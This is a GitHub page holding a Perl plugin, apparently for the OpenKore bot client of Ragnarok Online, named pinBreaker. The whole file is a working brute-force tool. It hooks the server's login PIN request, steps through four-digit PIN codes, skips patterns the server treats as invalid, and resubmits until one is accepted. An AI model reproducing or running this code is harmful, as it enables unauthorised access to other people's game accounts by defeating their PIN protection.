-
Notifications
You must be signed in to change notification settings - Fork 2
/
pinBreaker.pl
60 lines (51 loc) · 1.59 KB
/
pinBreaker.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#------------------------------------------------------------------------
# pinBreaker by otaku
#------------------------------------------------------------------------
#
# Bruteforce plugin. Tries all possible combinations of pin codes
# until it finds the right one. It may take several minutes.
#
# Set this line in control/config.txt as:
#
# loginPinCode 0000
#
#------------------------------------------------------------------------
# Licensed under the GNU General Public License v2.0
#------------------------------------------------------------------------
package pinBreaker;
use strict;
use warnings;
use Globals qw($messageSender %config);
use Misc qw(configModify);
use Log qw(warning);
Plugins::register("pinBreaker","crack pin code using bruteforce",\&onUnload);
my $hooks = Plugins::addHooks(["packet_pre/login_pin_code_request",\&check]);
sub onUnload {
Plugins::delHooks($hooks);
}
sub check {
my ($self, $args) = @_;
if ($args->{flag} != 0 && $args->{flag} != 1) {
generateNewPin();
$messageSender->sendLoginPinCode($args->{seed}, 0);
$args->{flag} = 10;
}
}
sub generateNewPin {
my $pin;
my $pin_str;
my $num = 0;
while(1) {
$num++;
$pin = (int $config{loginPinCode}) + $num;
$pin_str = sprintf("%04d",$pin);
if ($pin_str =~ /(\d)(\d)(\d)(\d)/) {
next if ($1 == $2 && $2 == $3 && $3 == $4); # Invalid PIN
next if (($1 + 1) == $2 && ($2 + 1) == $3 && ($3 + 1) == $4); # Invalid PIN
next if (($1 - 1) == $2 && ($2 - 1) == $3 && ($3 - 1) == $4); # Invalid PIN
configModify('loginPinCode',sprintf("%04d",$pin),silent => 1);
return;
}
}
}
1;